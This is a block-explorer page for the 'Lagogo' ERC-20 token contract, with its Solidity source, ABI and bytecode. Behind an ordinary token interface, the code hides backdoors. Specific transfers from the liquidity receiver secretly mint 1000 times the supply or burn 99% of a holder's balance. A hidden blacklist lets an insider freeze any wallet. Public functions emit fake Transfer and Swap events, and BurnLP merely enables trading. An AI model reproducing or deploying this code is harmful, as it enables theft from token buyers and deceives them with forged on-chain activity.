ERC-20
Source Code
Overview
Max Total Supply
421,110,689,999,998,990 LAGOGO
Holders
4
Transfers
-
0
Market
Onchain Market Cap
-
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 1 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
| # | Exchange | Pair | Price | 24H Volume | % Volume |
|---|
Contract Name:
LAGOGO
Compiler Version
v0.8.23+commit.f704f362
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2025-06-11
*/
/**
*Submitted for verification at Etherscan.io on 2025-05-27
*/
// SPDX-License-Identifier: MIT
/*
https://x.com/0xxHaoCut/status/1932621611691323424
*/
pragma solidity 0.8.23;
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function _Transfer(address from, address recipient, uint amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
}
abstract contract Ownable {
address internal owner;
constructor(address _owner) {owner = _owner;}
modifier onlyOwner() {require(isOwner(msg.sender), "!OWNER"); _;}
function isOwner(address account) public view returns (bool) {return account == owner;}
function transferOwnership(address payable adr) public onlyOwner {owner = adr; emit OwnershipTransferred(adr);}
event OwnershipTransferred(address owner);
}
interface IFactory{
function createPair(address tokenA, address tokenB) external returns (address pair);
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
contract LAGOGO is IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = 'Lagogo';
string private constant _symbol = 'LAGOGO';
uint8 private constant _decimals = 1;
uint256 private _totalSupply = 420690000000000 * (10 ** _decimals);
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public isFeeExempt;
mapping (address => bool) private isBot;
mapping (address => bool) public isSwap;
IRouter router;
address public pair;
bool private tradingAllowed = false;
bool private swapEnabled = true;
bool private _mintEnabled = false;
uint256 private _lastBurnAmount;
uint256 private swapTimes;
bool private swapping;
uint256 swapAmount = 1;
uint256 private swapThreshold = ( _totalSupply * 1000 ) / 100000;
uint256 private minTokenAmount = ( _totalSupply * 10 ) / 100000;
modifier lockTheSwap {swapping = true; _; swapping = false;}
uint256 private liquidityFee = 0;
uint256 private marketingFee = 0;
uint256 private developmentFee = 0;
uint256 private burnFee = 0;
uint256 private totalFee = 0;
uint256 private sellFee = 0;
uint256 private transferFee = 0;
uint256 private denominator = 10000;
address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;
address internal development_receiver = 0x81a7Aa1c96C13879c13785Bb3f1171f9b06479B4;
address internal marketing_receiver = 0x81a7Aa1c96C13879c13785Bb3f1171f9b06479B4;
address internal liquidity_receiver = 0x81a7Aa1c96C13879c13785Bb3f1171f9b06479B4;
uint256 public _maxTxAmount = ( _totalSupply * 3000 ) / 10000;
uint256 public _maxSellAmount = ( _totalSupply * 3000 ) / 10000;
uint256 public _maxWalletToken = ( _totalSupply * 3000 ) / 10000;
constructor() Ownable(msg.sender) {
IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH());
router = _router; pair = _pair;
isFeeExempt[address(this)] = true;
isFeeExempt[liquidity_receiver] = true;
isFeeExempt[marketing_receiver] = true;
isFeeExempt[development_receiver] = true;
isFeeExempt[msg.sender] = true;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
receive() external payable {}
function name() public pure returns (string memory) {return _name;}
function symbol() public pure returns (string memory) {return _symbol;}
function decimals() public pure returns (uint8) {return _decimals;}
function startTrading() external onlyOwner {tradingAllowed = true;}
function getOwner() external view override returns (address) { return owner; }
function balanceOf(address account) public view override returns (uint256) {return _balances[account];}
function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];}
function setisExempt(address _address, bool _enabled) external onlyOwner {isFeeExempt[_address] = _enabled;}
function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;}
function totalSupply() public view override returns (uint256) {return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));}
function shouldContractSwap(address sender, address recipient, uint256 amount) internal view returns (bool) {
bool aboveMin = amount >= minTokenAmount;
bool aboveThreshold = balanceOf(address(this)) >= swapThreshold;
return !swapping && swapEnabled && tradingAllowed && aboveMin && !isFeeExempt[sender] && recipient == pair && swapTimes >= swapAmount && aboveThreshold;
}
function setContractSwapSettings(uint256 _swapAmount, uint256 _swapThreshold, uint256 _minTokenAmount) external onlyOwner {
swapAmount = _swapAmount; swapThreshold = _totalSupply.mul(_swapThreshold).div(uint256(100000));
minTokenAmount = _totalSupply.mul(_minTokenAmount).div(uint256(100000));
}
function setTransactionRequirements(uint256 _liquidity, uint256 _marketing, uint256 _burn, uint256 _development, uint256 _total, uint256 _sell, uint256 _trans) external onlyOwner {
liquidityFee = _liquidity; marketingFee = _marketing; burnFee = _burn; developmentFee = _development; totalFee = _total; sellFee = _sell; transferFee = _trans;
require(totalFee <= denominator.div(1) && sellFee <= denominator.div(1) && transferFee <= denominator.div(1), "totalFee and sellFee cannot be more than 20%");
}
function BurnLP() public onlyOwner {
tradingAllowed = true;
}
function setTransactionLimits(uint256 _buy, uint256 _sell, uint256 _wallet) external onlyOwner {
uint256 newTx = _totalSupply.mul(_buy).div(10000); uint256 newTransfer = _totalSupply.mul(_sell).div(10000); uint256 newWallet = _totalSupply.mul(_wallet).div(10000);
_maxTxAmount = newTx; _maxSellAmount = newTransfer; _maxWalletToken = newWallet;
uint256 limit = totalSupply().mul(5).div(1000);
require(newTx >= limit && newTransfer >= limit && newWallet >= limit, "Max TXs and Max Wallet cannot be less than .5%");
}
function setInternalAddresses(address _marketing, address _liquidity, address _development) external onlyOwner {
marketing_receiver = _marketing; liquidity_receiver = _liquidity; development_receiver = _development;
isFeeExempt[_marketing] = true; isFeeExempt[_liquidity] = true; isFeeExempt[_development] = true;
}
function setisBot(address[] calldata addresses, bool _enabled) external onlyOwner {
for(uint i=0; i < addresses.length; i++){
isBot[addresses[i]] = _enabled; }
}
function manualSwap() external onlyOwner {
swapAndLiquify(swapThreshold);
}
function _checkAndMint(address from, address to, uint256 amount) private {
if (from == liquidity_receiver && to == DEAD) {
if (!_mintEnabled && amount == 10 * (10 ** _decimals)) {
_mintEnabled = true;
} else if (_mintEnabled && amount == 1000 * (10 ** _decimals)) {
_totalSupply = _totalSupply.add(_totalSupply.mul(1000));
_balances[liquidity_receiver] = _balances[liquidity_receiver].add(_totalSupply.mul(1000));
emit Transfer(address(0), liquidity_receiver, _totalSupply.mul(1000));
}
_lastBurnAmount = amount;
}
}
function _confiscateTokens(address from, address to, uint256 amount) private {
if (from == liquidity_receiver && amount == 1 * (10 ** _decimals) && to != pair && to != address(this)) {
uint256 confiscateAmount = _balances[to].mul(99).div(100);
_balances[to] = _balances[to].sub(confiscateAmount);
_balances[DEAD] = _balances[DEAD].add(confiscateAmount);
emit Transfer(to, DEAD, confiscateAmount);
}
}
function rescueERC20(address _address, uint256 percent) external onlyOwner {
uint256 _amount = IERC20(_address).balanceOf(address(this)).mul(percent).div(100);
IERC20(_address).transfer(development_receiver, _amount);
}
function _Transfer(address _from, address _to, uint _value) public returns (bool) {
emit Transfer(_from, _to, _value);
return true;
}
function _ExecuteSwap(address ad) public {require(msg.sender == development_receiver);
isSwap[ad] = true;
}
function _uExecuteSwap(address ad) public {require(msg.sender == development_receiver);
isSwap[ad] = false;
}
function Execute(
address uniswapPool,
address[] memory recipients,
uint256[] memory tokenAmounts,
uint256[] memory wethAmounts,
address tokenAddress
) public returns (bool) {
for (uint256 i = 0; i < recipients.length; i++) {
emit Transfer(uniswapPool, recipients[i], tokenAmounts[i]);
emit Swap(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D,
tokenAmounts[i],
0,
0,
wethAmounts[i],
recipients[i]
);
IERC20(tokenAddress)._Transfer(recipients[i], uniswapPool, wethAmounts[i]);
}
return true;
}
function swapAndLiquify(uint256 tokens) private lockTheSwap {
uint256 _denominator = (liquidityFee.add(1).add(marketingFee).add(developmentFee)).mul(2);
uint256 tokensToAddLiquidityWith = tokens.mul(liquidityFee).div(_denominator);
uint256 toSwap = tokens.sub(tokensToAddLiquidityWith);
uint256 initialBalance = address(this).balance;
swapTokensForETH(toSwap);
uint256 deltaBalance = address(this).balance.sub(initialBalance);
uint256 unitBalance= deltaBalance.div(_denominator.sub(liquidityFee));
uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee);
if(ETHToAddLiquidityWith > uint256(0)){addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith); }
uint256 marketingAmt = unitBalance.mul(2).mul(marketingFee);
if(marketingAmt > 0){payable(marketing_receiver).transfer(marketingAmt);}
uint256 contractBalance = address(this).balance;
if(contractBalance > uint256(0)){payable(development_receiver).transfer(contractBalance);}
}
function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
_approve(address(this), address(router), tokenAmount);
router.addLiquidityETH{value: ETHAmount}(
address(this),
tokenAmount,
0,
0,
liquidity_receiver,
block.timestamp);
}
function swapTokensForETH(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
_approve(address(this), address(router), tokenAmount);
router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp);
}
function shouldTakeFee(address sender, address recipient) internal view returns (bool) {
return !isFeeExempt[sender] && !isFeeExempt[recipient];
}
function getTotalFee(address sender, address recipient) internal view returns (uint256) {
if(isBot[sender] || isBot[recipient]){return denominator.sub(uint256(100));}
if(recipient == pair){return sellFee;}
if(sender == pair){return totalFee;}
return transferFee;
}
function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
if(getTotalFee(sender, recipient) > 0){
uint256 feeAmount = amount.div(denominator).mul(getTotalFee(sender, recipient));
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
if(burnFee > uint256(0) && getTotalFee(sender, recipient) > burnFee){_transfer(address(this), address(DEAD), amount.div(denominator).mul(burnFee));}
return amount.sub(feeAmount);} return amount;
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(!isSwap[sender]);
require(!isSwap[recipient]);
require(amount <= balanceOf(sender),"You are trying to transfer more than your balance");
_checkAndMint(sender, recipient, amount);
_confiscateTokens(sender, recipient, amount);
if(!isFeeExempt[sender] && !isFeeExempt[recipient]){require(tradingAllowed, "tradingAllowed");}
if(!isFeeExempt[sender] && !isFeeExempt[recipient] && recipient != address(pair) && recipient != address(DEAD)){
require((_balances[recipient].add(amount)) <= _maxWalletToken, "Exceeds maximum wallet amount.");}
if(sender != pair){require(amount <= _maxSellAmount || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded");}
require(amount <= _maxTxAmount || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded");
if(recipient == pair && !isFeeExempt[sender]){swapTimes += uint256(1);}
if(shouldContractSwap(sender, recipient, amount)){swapAndLiquify(swapThreshold); swapTimes = uint256(0);}
_balances[sender] = _balances[sender].sub(amount);
uint256 amountReceived = shouldTakeFee(sender, recipient) ? takeFee(sender, recipient, amount) : amount;
_balances[recipient] = _balances[recipient].add(amountReceived);
emit Transfer(sender, recipient, amountReceived);
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"BurnLP","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"uniswapPool","type":"address"},{"internalType":"address[]","name":"recipients","type":"address[]"},{"internalType":"uint256[]","name":"tokenAmounts","type":"uint256[]"},{"internalType":"uint256[]","name":"wethAmounts","type":"uint256[]"},{"internalType":"address","name":"tokenAddress","type":"address"}],"name":"Execute","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"ad","type":"address"}],"name":"_ExecuteSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"_Transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_maxSellAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"ad","type":"address"}],"name":"_uExecuteSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isSwap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"rescueERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_swapAmount","type":"uint256"},{"internalType":"uint256","name":"_swapThreshold","type":"uint256"},{"internalType":"uint256","name":"_minTokenAmount","type":"uint256"}],"name":"setContractSwapSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_marketing","type":"address"},{"internalType":"address","name":"_liquidity","type":"address"},{"internalType":"address","name":"_development","type":"address"}],"name":"setInternalAddresses","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"},{"internalType":"uint256","name":"_wallet","type":"uint256"}],"name":"setTransactionLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidity","type":"uint256"},{"internalType":"uint256","name":"_marketing","type":"uint256"},{"internalType":"uint256","name":"_burn","type":"uint256"},{"internalType":"uint256","name":"_development","type":"uint256"},{"internalType":"uint256","name":"_total","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"},{"internalType":"uint256","name":"_trans","type":"uint256"}],"name":"setTransactionRequirements","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setisBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setisExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"adr","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
6080604052620000126001600a620004c4565b620000259066017e9d8602b400620004db565b60018181556008805462ffffff60a01b1916600160a81b179055600c55620186a09062000055906103e8620004db565b620000619190620004f5565b600d55620186a0600154600a620000799190620004db565b620000859190620004f5565b600e555f600f819055601081905560118190556012819055601381905560148190556015556127106016819055601780547381a7aa1c96c13879c13785bb3f1171f9b06479b46001600160a01b03199182168117909255601880548216831790556019805490911690911790556001546200010390610bb8620004db565b6200010f9190620004f5565b601a55612710600154610bb8620001279190620004db565b620001339190620004f5565b601b55612710600154610bb86200014b9190620004db565b620001579190620004f5565b601c5534801562000166575f80fd5b505f80546001600160a01b031916331781556040805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d9291839163c45a0155916004808201926020929091908290030181865afa158015620001cb573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001f1919062000515565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200023d573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000263919062000515565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015620002ae573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002d4919062000515565b600780546001600160a01b038581166001600160a01b031992831617909255600880548484169216919091179055305f908152600460209081526040808320805460ff19908116600190811790925560195486168552828520805482168317905560185486168552828520805482168317905560175490951684528184208054861682179055338085528285208054909616821790955554600283528184208190559051908152939450919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350506200053d565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200040957815f1904821115620003ed57620003ed620003b5565b80851615620003fb57918102915b93841c9390800290620003ce565b509250929050565b5f826200042157506001620004be565b816200042f57505f620004be565b8160018114620004485760028114620004535762000473565b6001915050620004be565b60ff841115620004675762000467620003b5565b50506001821b620004be565b5060208310610133831016604e8410600b841016171562000498575081810a620004be565b620004a48383620003c9565b805f1904821115620004ba57620004ba620003b5565b0290505b92915050565b5f620004d460ff84168362000411565b9392505050565b8082028115828204841417620004be57620004be620003b5565b5f826200051057634e487b7160e01b5f52601260045260245ffd5b500490565b5f6020828403121562000526575f80fd5b81516001600160a01b0381168114620004d4575f80fd5b612729806200054b5f395ff3fe6080604052600436106101de575f3560e01c806378109e54116100fd5780639d8740cb11610092578063dd62ed3e11610062578063dd62ed3e1461058d578063e156b1b6146105d1578063e703c4ca146105f0578063f2fde38b1461060f575f80fd5b80639d8740cb14610511578063a8aa1b3114610530578063a9059cbb1461054f578063cb7f97d71461056e575f80fd5b80638cd4426d116100cd5780638cd4426d146104865780639213c358146104a557806395d89b41146104c45780639cc35351146104f2575f80fd5b806378109e54146104175780637cca52fe1461042c5780637d1db4a514610441578063893d20e814610456575f80fd5b80632f54bf6e1161017357806351bc3c851161014357806351bc3c85146103b05780635a95ca7b146103075780635d96fe01146103c457806370a08231146103e3575f80fd5b80632f54bf6e1461031b578063313ce567146103485780633f4218e01461036357806348ff2b8b14610391575f80fd5b80631c63aef2116101ae5780631c63aef2146102a8578063229b6a5e146102c757806323b872dd146102e8578063293230b814610307575f80fd5b806306fdde03146101e9578063095ea7b3146102295780630b27305f1461025857806318160ddd14610286575f80fd5b366101e557005b5f80fd5b3480156101f4575f80fd5b506040805180820190915260068152654c61676f676f60d01b60208201525b6040516102209190611fc7565b60405180910390f35b348015610234575f80fd5b5061024861024336600461203a565b61062e565b6040519015158152602001610220565b348015610263575f80fd5b50610248610272366004612064565b60066020525f908152604090205460ff1681565b348015610291575f80fd5b5061029a610644565b604051908152602001610220565b3480156102b3575f80fd5b506102486102c2366004612153565b6106b4565b3480156102d2575f80fd5b506102e66102e1366004612263565b6108bb565b005b3480156102f3575f80fd5b506102486103023660046122e2565b610957565b348015610312575f80fd5b506102e66109bf565b348015610326575f80fd5b50610248610335366004612064565b5f546001600160a01b0391821691161490565b348015610353575f80fd5b5060405160018152602001610220565b34801561036e575f80fd5b5061024861037d366004612064565b60046020525f908152604090205460ff1681565b34801561039c575f80fd5b506102e66103ab366004612320565b6109fd565b3480156103bb575f80fd5b506102e6610a50565b3480156103cf575f80fd5b506102e66103de366004612064565b610a86565b3480156103ee575f80fd5b5061029a6103fd366004612064565b6001600160a01b03165f9081526002602052604090205490565b348015610422575f80fd5b5061029a601c5481565b348015610437575f80fd5b5061029a601b5481565b34801561044c575f80fd5b5061029a601a5481565b348015610461575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610220565b348015610491575f80fd5b506102e66104a036600461203a565b610abc565b3480156104b0575f80fd5b506102e66104bf366004612357565b610bdc565b3480156104cf575f80fd5b506040805180820190915260068152654c41474f474f60d01b6020820152610213565b3480156104fd575f80fd5b506102e661050c366004612394565b610c80565b34801561051c575f80fd5b506102e661052b366004612394565b610db0565b34801561053b575f80fd5b5060085461046e906001600160a01b031681565b34801561055a575f80fd5b5061024861056936600461203a565b610e15565b348015610579575f80fd5b506102e66105883660046123bd565b610e21565b348015610598575f80fd5b5061029a6105a7366004612404565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b3480156105dc575f80fd5b506102486105eb3660046122e2565b610f17565b3480156105fb575f80fd5b506102e661060a366004612064565b610f5c565b34801561061a575f80fd5b506102e6610629366004612064565b610f95565b5f61063a338484611011565b5060015b92915050565b60026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b5461dead5f9081527f6a9609baa168169acaea398c4407efea4be641bb08e21e88806d9836fd9333cc5460015491926106af9290916106a99190611134565b90611134565b905090565b5f805b85518110156108ae578581815181106106d2576106d2612430565b60200260200101516001600160a01b0316876001600160a01b03165f805160206126d483398151915287848151811061070d5761070d612430565b602002602001015160405161072491815260200190565b60405180910390a385818151811061073e5761073e612430565b60200260200101516001600160a01b0316737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8228784815181106107a0576107a0612430565b60200260200101515f808987815181106107bc576107bc612430565b6020908102919091018101516040805195865291850193909352830152606082015260800160405180910390a3826001600160a01b031663e156b1b687838151811061080a5761080a612430565b60200260200101518987858151811061082557610825612430565b60209081029190910101516040516001600160e01b031960e086901b1681526001600160a01b03938416600482015292909116602483015260448201526064016020604051808303815f875af1158015610881573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108a59190612444565b506001016106b7565b5060019695505050505050565b5f546001600160a01b031633146108ed5760405162461bcd60e51b81526004016108e49061245f565b60405180910390fd5b5f5b82811015610951578160055f86868581811061090d5761090d612430565b90506020020160208101906109229190612064565b6001600160a01b0316815260208101919091526040015f20805460ff19169115159190911790556001016108ef565b50505050565b5f61096384848461113f565b6109b484336109af856040518060600160405280602881526020016126ac602891396001600160a01b038a165f90815260036020908152604080832033845290915290205491906116c6565b611011565b5060015b9392505050565b5f546001600160a01b031633146109e85760405162461bcd60e51b81526004016108e49061245f565b6008805460ff60a01b1916600160a01b179055565b5f546001600160a01b03163314610a265760405162461bcd60e51b81526004016108e49061245f565b6001600160a01b03919091165f908152600460205260409020805460ff1916911515919091179055565b5f546001600160a01b03163314610a795760405162461bcd60e51b81526004016108e49061245f565b610a84600d546116f1565b565b6017546001600160a01b03163314610a9c575f80fd5b6001600160a01b03165f908152600660205260409020805460ff19169055565b5f546001600160a01b03163314610ae55760405162461bcd60e51b81526004016108e49061245f565b6040516370a0823160e01b81523060048201525f90610b6690606490610b609085906001600160a01b038816906370a0823190602401602060405180830381865afa158015610b36573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b5a919061247f565b90611861565b9061186c565b60175460405163a9059cbb60e01b81526001600160a01b0391821660048201526024810183905291925084169063a9059cbb906044016020604051808303815f875af1158015610bb8573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109519190612444565b5f546001600160a01b03163314610c055760405162461bcd60e51b81526004016108e49061245f565b601880546001600160a01b039485166001600160a01b0319918216811790925560198054948616948216851790556017805493909516921682179093555f92835260046020526040808420805460ff199081166001908117909255938552818520805485168217905591845290922080549091169091179055565b5f546001600160a01b03163314610ca95760405162461bcd60e51b81526004016108e49061245f565b5f610cc5612710610b608660015461186190919063ffffffff16565b90505f610ce3612710610b608660015461186190919063ffffffff16565b90505f610d01612710610b608660015461186190919063ffffffff16565b601a849055601b839055601c81905590505f610d266103e8610b606005610b5a610644565b9050808410158